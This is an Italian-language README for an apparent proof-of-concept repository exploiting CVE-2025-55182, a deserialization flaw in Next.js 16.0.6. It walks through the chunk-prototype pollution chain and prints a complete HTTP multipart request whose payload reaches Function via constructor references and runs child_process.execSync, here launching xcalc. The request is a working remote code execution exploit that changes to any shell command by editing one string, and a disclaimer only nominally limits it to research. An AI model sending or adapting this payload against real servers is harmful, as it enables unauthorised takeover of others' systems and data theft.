POC per CVE-2025-55182 – Next.js 16.0.6 Remote Code Execution

Questo repository contiene una proof-of-concept (POC) funzionante per CVE-2025-55182, una vulnerabilità critica di deserializzazione che interessa Next.js 16.0.6. L'exploit abusa della deserializzazione dei chunk $@ e di Chunk.prototype.then per ottenere il pieno controllo del processo di risoluzione dei chunk e raggiungere l'esecuzione arbitraria di codice (RCE) sul server.

Riepilogo della vulnerabilità

Next.js utilizza oggetti Chunk interni e un meccanismo di streaming/deserializzazione per le server action. Abusando di $@ per deserializzare un riferimento Chunk e iniettando Chunk.prototype.then nell'oggetto root, un attaccante può:

• Forzare Next.js a chiamare then(...) con this controllato dall'attaccante
• Impostare lo status del chunk su resolved_model
• Attivare initializeModelChunk con un chunk fasullo completamente controllato dall'attaccante
• Abusare dei metodi di chunk._response per raggiungere comportamenti interni pericolosi

L'obiettivo finale è attivare la deserializzazione di Blob, che esegue una chiamata come:

response._formData.get(response._prefix)

Impostando response._formData.get = Function e inserendo codice arbitrario in response._prefix, l'attaccante può eseguire comandi di sistema arbitrari.

Exploit POC

La richiesta HTTP in poc/CVE-2025-55182.http dimostra l'exploit contro Next.js 16.0.6 in esecuzione in locale, avviando xcalc tramite child_process.execSync:

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Struttura del repository

/
├── README.md
├── DISCLAIMER.md
├── poc/
│   └── CVE-2025-55182.http
└── analysis/
    └── exploitation-notes.md

Disclaimer

Questo progetto è fornito esclusivamente per scopi educativi e di ricerca. NON utilizzare questo exploit su alcun sistema di cui non si è proprietari o per il quale non si dispone di un'autorizzazione scritta esplicita per il test.

L'autore non si assume alcuna responsabilità per usi impropri o danni causati.